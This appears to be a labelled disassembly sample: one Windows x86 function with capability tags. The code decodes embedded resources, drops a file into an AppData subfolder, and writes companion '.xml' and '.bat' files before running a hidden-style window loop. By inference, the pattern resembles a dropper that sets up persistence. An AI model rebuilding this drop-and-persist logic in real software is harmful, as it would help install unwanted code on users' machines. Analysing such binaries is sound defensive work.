Function at 0x401500
Capabilities:
Check if file exists
Create directory
Delete file
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5bc
call fcn.00401c60
push 0x40c598
call fcn.00402920
test eax, eax
pop ecx
jbe 0x40152d
mov eax, dword [0x40b040]
push 5
cdq
pop ecx
idiv ecx
mov dword [0x40b040], eax
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [ebp + 8]
mov dword [0x40c594], eax
lea eax, [ebp - 0x50]
mov dword [0x40cad0], esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov al, byte [0x40cbe4]
lea edi, [ebp - 0x67]
mov byte [ebp - 0x68], al
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 7
pop edi
lea eax, [ebp - 0x68]
push 0x40b0b0
push eax
call fcn.00402a30
pop ecx
dec edi
pop ecx
jne 0x401567
mov eax, 0x1d6
xor ecx, ecx
mov edi, 0x40bae4
mov dl, al
lea eax, [eax + eax*2]
add dl, cl
inc ecx
movzx edx, dl
mov dword [edi], edx
add edi, 4
cmp edi, 0x40c23c
jl 0x401586
push 0x40c458
call fcn.00402920
test eax, eax
pop ecx
jbe 0x4015b3
inc dword [0x40b040]
push dword [0x40b040]
lea eax, [ebp - 0x88]
push eax
push 0x3ef
push esi
call fcn.00401307
mov edi, eax
add esp, 0x10
mov dword [0x40c560], eax
mov esi, edi
mov dword [0x40c590], ebx
mov al, byte [edi]
cmp al, bl
je 0x40161f
cmp al, 0x20
jge 0x40161c
mov byte [edi], bl
inc edi
cmp byte [edi], 0x20
jl 0x4015e7
push esi
call fcn.00402920
push eax
call fcn.00402b10
mov ecx, dword [0x40c590]
push esi
push eax
mov dword [ecx*4 + 0x40c564], eax
call fcn.00402a20
add esp, 0x10
inc dword [0x40c590]
mov esi, edi
jmp 0x4015dd
inc edi
jmp 0x4015dd
push esi
call fcn.00402920
push eax
call fcn.00402b10
mov ecx, dword [0x40c590]
push esi
push eax
mov dword [ecx*4 + 0x40c564], eax
call fcn.00402a20
movzx eax, word [ebp - 0x42]
push eax
inc dword [0x40c590]
movzx eax, word [ebp - 0x44]
push eax
mov edi, 0x40cad8
movzx eax, word [ebp - 0x46]
push eax
movzx eax, word [ebp - 0x48]
push eax
movzx eax, word [ebp - 0x4a]
push eax
movzx eax, word [ebp - 0x4e]
push eax
movzx eax, word [ebp - 0x50]
push eax
lea eax, [ebp - 0x68]
push eax
push edi
call fcn.004029ce
mov esi, 0x40c9cc
push str.WNDCLASS_
push esi
call fcn.00402a20
push edi
push esi
call fcn.00402a30
add esp, 0x44
push 0x40c458
call fcn.00401142
push dword [0x40b040]
mov dword [0x40c248], eax
lea eax, [ebp - 0x6c]
mov dword [0x40c24c], edx
push eax
push 0x3ed
push dword [0x40c594]
call fcn.00401307
push dword [0x40b040]
mov dword [0x40c58c], eax
lea eax, [ebp - 0x84]
push eax
push 0x3e9
push dword [0x40c594]
call fcn.00401307
add esp, 0x24
mov esi, 0x40b9e0
mov dword [ebp - 4], eax
push ebx
push 0x1a
push esi
push dword [0x40c7a0]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x40b0a0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [0x40c564]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x40c568]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov dword [0x40c240], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401744
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x30
lea eax, [ebp - 0xb8]
push ebx
push eax
call fcn.00403100
mov eax, dword [ebp + 8]
mov ecx, dword [0x40b050]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x40b04c]
sub dword [0x40b044], eax
add esp, 0xc
cdq
sub eax, edx
mov dword [ebp - 0xb8], 0x30
sar eax, 1
mov dword [0x40b04c], eax
mov eax, ecx
cdq
sub eax, edx
mov dword [ebp - 0xb4], 0x23
sar eax, 1
mov dword [0x40b050], eax
lea eax, [ebp - 0xb8]
push eax
mov dword [ebp - 0xb0], 0x401ec6
mov dword [ebp - 0x90], 0x40c9cc
mov dword [0x40b048], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
jne 0x4017cd
xor eax, eax
jmp 0x401c59
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401be5
push str._apps
push esi
call fcn.00402a30
pop ecx
pop ecx
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4017fc
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401be5
push dword [0x40b040]
lea eax, [ebp - 0x54]
push eax
push 0x3eb
push dword [0x40c594]
call fcn.00401307
push dword [0x40b040]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x80]
push eax
push 0x3ec
push dword [0x40c594]
call fcn.00401307
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1bc]
push esi
push eax
call fcn.00402a20
lea eax, [ebp - 0x1bc]
push 0x40b0a0
push eax
call fcn.00402a30
push dword [ebp - 0xc]
lea eax, [ebp - 0x1bc]
push eax
call fcn.00402a30
add esp, 0x38
lea eax, [ebp - 0x1bc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401893
lea eax, [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 0x80
push 1
push ebx
push ebx
lea eax, [ebp - 0x1bc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, ebx
mov dword [ebp - 0x40], eax
je 0x401bd7
lea ecx, [ebp - 8]
push ebx
push ecx
push dword [ebp - 0x54]
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401bce
mov esi, 0x40c250
push 0x40c69c
push esi
call fcn.00402a20
push 0x40b094
push esi
call fcn.00402a30
push edi
push esi
call fcn.00402a30
push str..xml
push esi
call fcn.00402a30
push dword [0x40b040]
lea eax, [ebp - 0xc]
push eax
push 0x3ea
push dword [0x40c594]
call fcn.00401307
add esp, 0x30
mov edi, eax
mov al, byte [ebp + 0xb]
lea ecx, [ebp - 0x3c]
push ebx
mov byte [ebp - 0x3c], al
call fcn.004021e8
push edi
call fcn.00402920
pop ecx
push eax
push edi
lea ecx, [ebp - 0x3c]
call fcn.00402224
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.004021e8
mov edi, 0x40c8c8
push edi
call fcn.00402920
pop ecx
push eax
push edi
lea ecx, [ebp - 0x1c]
call fcn.00402224
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2c], al
call fcn.004021e8
mov edi, 0x40b088
push edi
call fcn.00402920
pop ecx
push eax
push edi
lea ecx, [ebp - 0x2c]
call fcn.00402224
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00401322
add esp, 0xc
lea ecx, [ebp - 0x2c]
push 1
call fcn.004021e8
push 1
lea ecx, [ebp - 0x1c]
call fcn.004021e8
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2c], al
call fcn.004021e8
mov edi, 0x40c7a4
push edi
call fcn.00402920
pop ecx
push eax
push edi
lea ecx, [ebp - 0x2c]
call fcn.00402224
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.004021e8
mov edi, 0x40b084
push edi
call fcn.00402920
pop ecx
push eax
push edi
lea ecx, [ebp - 0x1c]
call fcn.00402224
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00401322
add esp, 0xc
lea ecx, [ebp - 0x1c]
push 1
call fcn.004021e8
push 1
lea ecx, [ebp - 0x2c]
call fcn.004021e8
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2c], al
call fcn.004021e8
lea eax, [ebp - 0x1bc]
push eax
call fcn.00402920
pop ecx
push eax
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402224
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.004021e8
mov edi, 0x40b080
push edi
call fcn.00402920
pop ecx
push eax
push edi
lea ecx, [ebp - 0x1c]
call fcn.00402224
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00401322
add esp, 0xc
lea ecx, [ebp - 0x1c]
push 1
call fcn.004021e8
push 1
lea ecx, [ebp - 0x2c]
call fcn.004021e8
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x38]
cmp eax, ebx
jne 0x401aaf
mov eax, 0x409154
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.00401374
pop ecx
pop ecx
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, ebx
je 0x401bba
mov eax, dword [ebp - 0x78]
cmp eax, ebx
jne 0x401ae7
mov eax, 0x409154
lea ecx, [ebp - 8]
push ebx
push ecx
push dword [ebp - 0x74]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401b02
mov byte [0x40cbe0], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x40cbe0], bl
je 0x401bba
push dword [0x40b040]
lea eax, [ebp - 0x58]
push eax
push 0x3ee
push dword [0x40c594]
call fcn.00401307
mov edi, 0x40c354
push 0x40c69c
push edi
mov dword [ebp - 8], eax
call fcn.00402a20
push 0x40b07c
push edi
call fcn.00402a30
push 0x40cad8
push edi
call fcn.00402a30
push str..bat
push edi
call fcn.00402a30
push esi
lea eax, [ebp - 0x5bc]
push dword [ebp - 8]
push eax
call fcn.004029ce
add esp, 0x3c
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, ebx
je 0x401bba
lea eax, [ebp - 0x5bc]
push eax
call fcn.00402920
pop ecx
lea ecx, [ebp - 8]
push ebx
push ecx
push eax
lea eax, [ebp - 0x5bc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
lea ecx, [ebp - 0x7c]
call fcn.004021e8
push 1
lea ecx, [ebp - 0x3c]
call fcn.004021e8
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], ebx
je 0x401be5
push dword [ebp - 4]
call fcn.00402454
pop ecx
push ebx
push dword [ebp + 8]
push ebx
push ebx
push dword [0x40b050]
push dword [0x40b04c]
push dword [0x40b048]
push dword [0x40b044]
push 0x80000
push 0x40c9d5
push 0x40c9cc
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push ebx
push eax
mov dword [0x40c7a0], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push ebx
push ebx
mov esi, 0x40c8a8
push ebx
push esi
call edi
test eax, eax
je 0x401c4f
push esi
call dword [sym.imp.USER32.dll_TranslateMessage]
push esi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push esi
jmp 0x401c35
call fcn.00401000
mov eax, dword [0x40c8b4]
pop edi
pop esi
pop ebx
leave
ret 0x10